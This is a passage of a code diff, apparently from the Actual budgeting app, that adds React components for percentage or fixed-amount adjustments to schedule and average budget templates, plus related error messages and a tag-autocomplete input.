const { t } = useTranslation();
|
||||
const getTagCSS = useTagCSS();
|
||||
const autocompleteId = useId();
|
||||
const id = useCallback(
|
||||
(itemId: string) => autocompleteId + '|' + itemId,
|
||||
[autocompleteId],
|
||||
);
|
||||
const inputRef = useRef<HTMLInputElement | null>(null);
|
||||
|
||||
const [cursorPosition, setCursorPosition] = useCursorPosition(inputRef);
|
||||
const [startIdx, endIdx] = useCurrentWordRange(inputValue, cursorPosition);
|
||||
const currentWord = inputValue.slice(startIdx, endIdx);
|
||||
|
||||
const filteredTags = useFilteredTags(currentWord, true);
|
||||
const filteredItems = useMemo(
|
||||
() => filteredTags?.map(tag => ({ ...tag, name: '#' + tag.tag })) ?? [],
|
||||
[filteredTags],
|
||||
);
|
||||
|
||||
const [isOpen, setIsOpen] = useState(false);
|
||||
const showPopup = isOpen && filteredItems.length > 0;
|
||||
|
||||
const [highlightedIdx, setHighlightedIdx] = useState(0);
|
||||
const highlightedId =
|
||||
showPopup && highlightedIdx < filteredItems.length
|
||||
? filteredItems[highlightedIdx].id
|
||||
: null;
|
||||
useEffect(() => {
|
||||
if (highlightedId) {
|
||||
const el = document.querySelector(`[data-key="${id(highlightedId)}"]`);
|
||||
el?.scrollIntoView?.({ block: 'nearest' });
|
||||
}
|
||||
}, [highlightedId, id]);
|
||||
|
||||
function handleSelect(id: string | null) {
|
||||
const tagObj = filteredItems.find(tag => tag.id === id);
|
||||
if (!tagObj) return;
|
||||
|
||||
const nextChar = inputValue.charAt(endIdx);
|
||||
const space = nextChar === ' ' ? '' : ' ';
|
||||
const newValue =
|
||||
inputValue.slice(0, startIdx) +
|
||||
'#' +
|
||||
tagObj.tag +
|
||||
space +
|
||||
inputValue.slice(endIdx);
|
||||
setInputValue(newValue);
|
||||
setHighlightedIdx(0);
|
||||
setIsOpen(false);
|
||||
setCursorPosition(startIdx + tagObj.tag.length + 1 + space.length);
|
||||
}
|
||||
|
||||
function handleKeyDown(e: KeyboardEvent<HTMLInputElement>) {
|
||||
if (!showPopup) {
|
||||
onKeyDown?.(e);
|
||||
return;
|
||||
}
|
||||
|
||||
if (e.key === 'ArrowUp') {
|
||||
setHighlightedIdx(highlightedIdx - 1);
|
||||
e.preventDefault();
|
||||
} else if (e.key === 'ArrowDown') {
|
||||
setHighlightedIdx(highlightedIdx + 1);
|
||||
e.preventDefault();
|
||||
} else if (e.key === 'Home' && filteredItems.length > 1) {
|
||||
setHighlightedIdx(0);
|
||||
e.preventDefault();
|
||||
} else if (e.key === 'End' && filteredItems.length > 1) {
|
||||
setHighlightedIdx(filteredItems.length - 1);
|
||||
e.preventDefault();
|
||||
} else if (highlightedId && (e.key === 'Enter' || e.key === 'Tab')) {
|
||||
handleSelect(highlightedId);
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
} else if (e.key === 'Escape') {
|
||||
setIsOpen(false);
|
||||
}
|
||||
|
||||
setHighlightedIdx(idx =>
|
||||
Math.max(0, Math.min(idx, filteredItems.length - 1)),
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
<Input
|
||||
ref={inputRef}
|
||||
name="notes"
|
||||
aria-label={t('Notes')}
|
||||
aria-expanded={showPopup}
|
||||
aria-controls={id('popover')}
|
||||
role="combobox"
|
||||
style={inputStyle}
|
||||
value={inputValue}
|
||||
onChange={e => {
|
||||
setIsOpen(true);
|
||||
setInputValue(e.currentTarget.value);
|
||||
}}
|
||||
onKeyDown={handleKeyDown}
|
||||
onFocus={() => setIsOpen(true)}
|
||||
onBlur={onBlur}
|
||||
onUpdate={onUpdate}
|
||||
autoComplete={showPopup ? 'off' : undefined}
|
||||
/>
|
||||
|
||||
<Popover
|
||||
isNonModal
|
||||
placement="bottom start"
|
||||
className={css(styles.darkScrollbar)}
|
||||
style={{
|
||||
background: theme.menuAutoCompleteBackground,
|
||||
borderRadius: 6,
|
||||
boxShadow: '0 4px 6px rgba(0,0,0,0.1)',
|
||||
width: inputRef.current?.offsetWidth ?? 100,
|
||||
}}
|
||||
offset={1}
|
||||
triggerRef={inputRef}
|
||||
isOpen={showPopup}
|
||||
onOpenChange={setIsOpen}
|
||||
>
|
||||
<ListBox
|
||||
aria-label={t('Tag List')}
|
||||
id={id('popover')}
|
||||
items={filteredItems}
|
||||
selectionMode="single"
|
||||
dependencies={[highlightedId]}
|
||||
onPointerDown={e => e.preventDefault()}
|
||||
style={{ borderRadius: 4, maxHeight: '150px', overflowY: 'auto' }}
|
||||
>
|
||||
{(item: (typeof filteredItems)[number]) => (
|
||||
<ListBoxItem
|
||||
key={item.id}
|
||||
id={id(item.id)}
|
||||
textValue={item.name}
|
||||
style={() => ({
|
||||
backgroundColor:
|
||||
highlightedId === item.id
|
||||
? theme.menuAutoCompleteBackgroundHover
|
||||
: 'transparent',
|
||||
alignItems: 'center',
|
||||
padding: 4,
|
||||
fontWeight: 500,
|
||||
cursor: 'pointer',
|
||||
color:
|
||||
highlightedId === item.id
|
||||
? theme.menuAutoCompleteItemTextHover
|
||||
: theme.menuAutoCompleteItemText,
|
||||
})}
|
||||
onMouseOver={() =>
|
||||
setHighlightedIdx(
|
||||
Math.max(
|
||||
0,
|
||||
filteredItems.findIndex(_item => _item.id === item.id),
|
||||
),
|
||||
)
|
||||
}
|
||||
onPointerDown={e => e.preventDefault()}
|
||||
onClick={() => handleSelect(item.id)}
|
||||
>
|
||||
<div className={getTagCSS(item.tag)}>{item.name}</div>
|
||||
</ListBoxItem>
|
||||
)}
|
||||
</ListBox>
|
||||
</Popover>
|
||||
</>
|
||||
);
|
||||
}
|
||||
@@ -35,6 +35,8 @@ export function AutomationErrorTitle({
|
||||
return <Trans>Early spending starts after target</Trans>;
|
||||
case 'percentage-source-not-found':
|
||||
return <Trans>Source category not recognised</Trans>;
|
||||
case 'adjustment-out-of-range':
|
||||
return <Trans>Adjustment out of range</Trans>;
|
||||
default:
|
||||
error satisfies never;
|
||||
return null;
|
||||
@@ -78,6 +80,8 @@ export function AutomationErrorShort({
|
||||
return <Trans>Early spending must start before the target</Trans>;
|
||||
case 'percentage-source-not-found':
|
||||
return <Trans>Pick a valid income category</Trans>;
|
||||
case 'adjustment-out-of-range':
|
||||
return <Trans>Adjustment out of range</Trans>;
|
||||
default:
|
||||
error satisfies never;
|
||||
return null;
|
||||
@@ -155,6 +159,13 @@ export function AutomationErrorDetail({
|
||||
known income category.
|
||||
</Trans>
|
||||
);
|
||||
case 'adjustment-out-of-range':
|
||||
return (
|
||||
<Trans>
|
||||
A percentage decrease must be under 100% and an increase at most
|
||||
1000%.
|
||||
</Trans>
|
||||
);
|
||||
default:
|
||||
error satisfies never;
|
||||
return null;
|
||||
|
||||
@@ -0,0 +1,160 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { useTranslation } from 'react-i18next';
|
||||
|
||||
import { Input } from '@actual-app/components/input';
|
||||
import { Select } from '@actual-app/components/select';
|
||||
import { SpaceBetween } from '@actual-app/components/space-between';
|
||||
import { amountToInteger, integerToAmount } from '@actual-app/core/shared/util';
|
||||
import type {
|
||||
AverageTemplate,
|
||||
ScheduleTemplate,
|
||||
} from '@actual-app/core/types/models/templates';
|
||||
|
||||
import { updateTemplate } from '#components/budget/goals/actions';
|
||||
import type { Action } from '#components/budget/goals/actions';
|
||||
import { FormField, FormLabel } from '#components/forms';
|
||||
import { AmountInput } from '#components/util/AmountInput';
|
||||
import { useFormat } from '#hooks/useFormat';
|
||||
|
||||
type AdjustableTemplate = ScheduleTemplate | AverageTemplate;
|
||||
type AdjustmentType = 'percent' | 'fixed';
|
||||
type UnitOption = 'none' | AdjustmentType;
|
||||
type Direction = 'increase' | 'decrease';
|
||||
|
||||
// Seeded when an adjustment is first switched on.
|
||||
const DEFAULT_MAGNITUDE = 10;
|
||||
|
||||
type AmountAdjustmentProps = {
|
||||
template: AdjustableTemplate;
|
||||
dispatch: (action: Action) => void;
|
||||
};
|
||||
|
||||
// Editor for the optional increase/decrease modifier on schedule and average
|
||||
// templates. `adjustment` is stored as a single signed number. The unit
|
||||
// dropdown turns the adjustment on and off and picks percentage vs fixed
|
||||
// amount. A percentage uses an increase/decrease selector for the direction;
|
||||
// a fixed amount uses AmountInput, whose own sign is the direction.
|
||||
export const AmountAdjustment = ({
|
||||
template,
|
||||
dispatch,
|
||||
}: AmountAdjustmentProps) => {
|
||||
const { t } = useTranslation();
|
||||
const format = useFormat();
|
||||
|
||||
const enabled = template.adjustment !== undefined;
|
||||
const adjustmentType: AdjustmentType = template.adjustmentType ?? 'percent';
|
||||
const adjustment = template.adjustment ?? 0;
|
||||
const increasing = adjustment >= 0;
|
||||
const magnitude = Math.abs(adjustment);
|
||||
|
||||
const [rawMagnitude, setRawMagnitude] = useState(String(magnitude));
|
||||
// Resync when a different automation row is selected (the component
|
||||
// instance is reused across rows).
|
||||
useEffect(() => {
|
||||
setRawMagnitude(String(magnitude));
|
||||
}, [magnitude]);
|
||||
|
||||
const apply = (
|
||||
next: number | undefined,
|
||||
type: AdjustmentType | undefined,
|
||||
) => {
|
||||
if (template.type === 'schedule') {
|
||||
dispatch(
|
||||
updateTemplate({
|
||||
type: 'schedule',
|
||||
adjustment: next,
|
||||
adjustmentType: type,
|
||||
}),
|
||||
);
|
||||
} else {
|
||||
dispatch(
|
||||
updateTemplate({
|
||||
type: 'average',
|
||||
adjustment: next,
|
||||
adjustmentType: type,
|
||||
}),
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
const changeUnit = (unit: UnitOption) => {
|
||||
if (unit === 'none') {
|
||||
apply(undefined, undefined);
|
||||
return;
|
||||
}
|
||||
// Keep the current size when switching units; seed an increase when
|
||||
// switching on from off.
|
||||
apply(template.adjustment ?? DEFAULT_MAGNITUDE, unit);
|
||||
};
|
||||
|
||||
const changeDirection = (direction: Direction) => {
|
||||
apply(direction === 'decrease' ? -magnitude : magnitude, 'percent');
|
||||
};
|
||||
|
||||
const commitMagnitude = () => {
|
||||
const parsed = Number(rawMagnitude);
|
||||
const size = Number.isFinite(parsed) ? Math.max(0, parsed) : 0;
|
||||
setRawMagnitude(String(size));
|
||||
apply(increasing ? size : -size, 'percent');
|
||||
};
|
||||
|
||||
return (
|
||||
<SpaceBetween gap={50} style={{ marginTop: 10 }}>
|
||||
<FormField style={{ flex: 1 }}>
|
||||
<FormLabel title={t('Adjustment')} htmlFor="adjustment-unit-field" />
|
||||
<SpaceBetween align="center" gap={12}>
|
||||
<Select
|
||||
id="adjustment-unit-field"
|
||||
value={enabled ? adjustmentType : 'none'}
|
||||
onChange={changeUnit}
|
||||
options={[
|
||||
['none', t('No adjustment')],
|
||||
['fixed', t('Fixed amount')],
|
||||
['percent', t('Percentage')],
|
||||
]}
|
||||
style={{ width: 160 }}
|
||||
/>
|
||||
{enabled &&
|
||||
(adjustmentType === 'fixed' ? (
|
||||
<AmountInput
|
||||
id="adjustment-amount-field"
|
||||
zeroSign="+"
|
||||
value={amountToInteger(
|
||||
adjustment,
|
||||
format.currency.decimalPlaces,
|
||||
)}
|
||||
onUpdate={next =>
|
||||
apply(
|
||||
integerToAmount(next, format.currency.decimalPlaces),
|
||||
'fixed',
|
||||
)
|
||||
}
|
||||
style={{ flex: 'none', width: 140 }}
|
||||
/>
|
||||
) : (
|
||||
<>
|
||||
<Select
|
||||
id="adjustment-direction-field"
|
||||
value={increasing ? 'increase' : 'decrease'}
|
||||
onChange={changeDirection}
|
||||
options={[
|
||||
['increase', t('Increase')],
|
||||
['decrease', t('Decrease')],
|
||||
]}
|
||||
style={{ width: 150 }}
|
||||
/>
|
||||
<Input
|
||||
id="adjustment-amount-field"
|
||||
inputMode="decimal"
|
||||
style={{ width: 120 }}
|
||||
value={rawMagnitude}
|
||||
onChangeValue={setRawMagnitude}
|
||||
onBlur={commitMagnitude}
|
||||
/>
|
||||
</>
|
||||
))}
|
||||
</SpaceBetween>
|
||||
</FormField>
|
||||
</SpaceBetween>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,46 @@
|
||||
import { Trans } from 'react-i18next';
|
||||
|
||||
import { amountToInteger } from '@actual-app/core/shared/util';
|
||||
import type {
|
||||
AverageTemplate,
|
||||
ScheduleTemplate,
|
||||
} from '@actual-app/core/types/models/templates';
|
||||
|
||||
import { useFormat } from '#hooks/useFormat';
|
||||
|
||||
type AmountAdjustmentSummaryProps = {
|
||||
template: ScheduleTemplate | AverageTemplate;
|
||||
};
|
||||
|
||||
// Trailing clause for a template's increase or decrease adjustment, e.g.
|
||||
// "(increased by 10%)". Renders nothing when no adjustment is set.
|
||||
export function AmountAdjustmentSummary({
|
||||
template,
|
||||
}: AmountAdjustmentSummaryProps) {
|
||||
const format = useFormat();
|
||||
|
||||
if (template.adjustment === undefined) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const increase = template.adjustment >= 0;
|
||||
const magnitude = Math.abs(template.adjustment);
|
||||
|
||||
if (template.adjustmentType === 'fixed') {
|
||||
const amount = format(
|
||||
amountToInteger(magnitude, format.currency.decimalPlaces),
|
||||
'financial',
|
||||
);
|
||||
return increase ? (
|
||||
<Trans>(increased by {{ amount }})</Trans>
|
||||
) : (
|
||||
<Trans>(decreased by {{ amount }})</Trans>
|
||||
);
|
||||
}
|
||||
|
||||
return increase ? (
|
||||
<Trans>(increased by {{ percent: magnitude }}%)</Trans>
|
||||
) : (
|
||||
<Trans>(decreased by {{ percent: magnitude }}%)</Trans>
|
||||
);
|
||||
}
|
||||
@@ -9,6 +9,7 @@ import type {
|
||||
|
||||
import { updateTemplate } from '#components/budget/goals/actions';
|
||||
import type { Action } from '#components/budget/goals/actions';
|
||||
import { AmountAdjustment } from '#components/budget/goals/editor/AmountAdjustment';
|
||||
import { FormField, FormLabel } from '#components/forms';
|
||||
import { GenericInput } from '#components/util/GenericInput';
|
||||
|
||||
@@ -24,42 +25,49 @@ export const HistoricalAutomation = ({
|
||||
const { t } = useTranslation();
|
||||
|
||||
return (
|
||||
<SpaceBetween gap={50} style={{ marginTop: 10 }}>
|
||||
<FormField style={{ flex: 1 }}>
|
||||
<FormLabel title={t('Mode')} htmlFor="mode-field" />
|
||||
<Select
|
||||
id="mode-field"
|
||||
key="mode-picker"
|
||||
options={[
|
||||
['copy', t('Copy a previous month')],
|
||||
['average', t('Average of previous months')],
|
||||
]}
|
||||
value={template.type}
|
||||
onChange={type => dispatch(updateTemplate({ type }))}
|
||||
/>
|
||||
</FormField>
|
||||
<FormField style={{ flex: 1 }}>
|
||||
<FormLabel
|
||||
title={t('Number of months back')}
|
||||
htmlFor="look-back-field"
|
||||
/>
|
||||
<GenericInput
|
||||
key="look-back-input"
|
||||
type="number"
|
||||
value={
|
||||
template.type === 'average' ? template.numMonths : template.lookBack
|
||||
}
|
||||
onChange={value =>
|
||||
dispatch(
|
||||
updateTemplate(
|
||||
template.type === 'average'
|
||||
? { type: 'average', numMonths: value }
|
||||
: { type: 'copy', lookBack: value },
|
||||
),
|
||||
)
|
||||
}
|
||||
/>
|
||||
</FormField>
|
||||
</SpaceBetween>
|
||||
<>
|
||||
<SpaceBetween gap={50} style={{ marginTop: 10 }}>
|
||||
<FormField style={{ flex: 1 }}>
|
||||
<FormLabel title={t('Mode')} htmlFor="mode-field" />
|
||||
<Select
|
||||
id="mode-field"
|
||||
key="mode-picker"
|
||||
options={[
|
||||
['copy', t('Copy a previous month')],
|
||||
['average', t('Average of previous months')],
|
||||
]}
|
||||
value={template.type}
|
||||
onChange={type => dispatch(updateTemplate({ type }))}
|
||||
/>
|
||||
</FormField>
|
||||
<FormField style={{ flex: 1 }}>
|
||||
<FormLabel
|
||||
title={t('Number of months back')}
|
||||
htmlFor="look-back-field"
|
||||
/>
|
||||
<GenericInput
|
||||
key="look-back-input"
|
||||
type="number"
|
||||
value={
|
||||
template.type === 'average'
|
||||
? template.numMonths
|
||||
: template.lookBack
|
||||
}
|
||||
onChange={value =>
|
||||
dispatch(
|
||||
updateTemplate(
|
||||
template.type === 'average'
|
||||
? { type: 'average', numMonths: value }
|
||||
: { type: 'copy', lookBack: value },
|
||||
),
|
||||
)
|
||||
}
|
||||
/>
|
||||
</FormField>
|
||||
</SpaceBetween>
|
||||
{template.type === 'average' && (
|
||||
<AmountAdjustment template={template} dispatch={dispatch} />
|
||||
)}
|
||||
</>
|
||||
);
|
||||
};
|
||||
|
||||
@@ -5,6 +5,8 @@ import type {
|
||||
CopyTemplate,
|
||||
} from '@actual-app/core/types/models/templates';
|
||||
|
||||
import { AmountAdjustmentSummary } from './AmountAdjustmentSummary';
|
||||
|
||||
type HistoricalAutomationReadOnlyProps = {
|
||||
template: CopyTemplate | AverageTemplate;
|
||||
};
|
||||
@@ -12,13 +14,27 @@ type HistoricalAutomationReadOnlyProps = {
|
||||
export const HistoricalAutomationReadOnly = ({
|
||||
template,
|
||||
}: HistoricalAutomationReadOnlyProps) => {
|
||||
return template.type === 'copy' ? (
|
||||
<Trans count={template.lookBack}>
|
||||
Budget the same amount as {{ count: template.lookBack }} months ago
|
||||
</Trans>
|
||||
) : (
|
||||
if (template.type === 'copy') {
|
||||
return (
|
||||
<Trans count={template.lookBack}>
|
||||
Budget the same amount as {{ count: template.lookBack }} months ago
|
||||
</Trans>
|
||||
);
|
||||
}
|
||||
|
||||
const base = (
|
||||
<Trans count={template.numMonths}>
|
||||
Budget the average of the last {{ count: template.numMonths }} months
|
||||
</Trans>
|
||||
);
|
||||
|
||||
if (template.adjustment === undefined) {
|
||||
return base;
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
{base} <AmountAdjustmentSummary template={template} />
|
||||
</>
|
||||
);
|
||||
};
|
||||
|
||||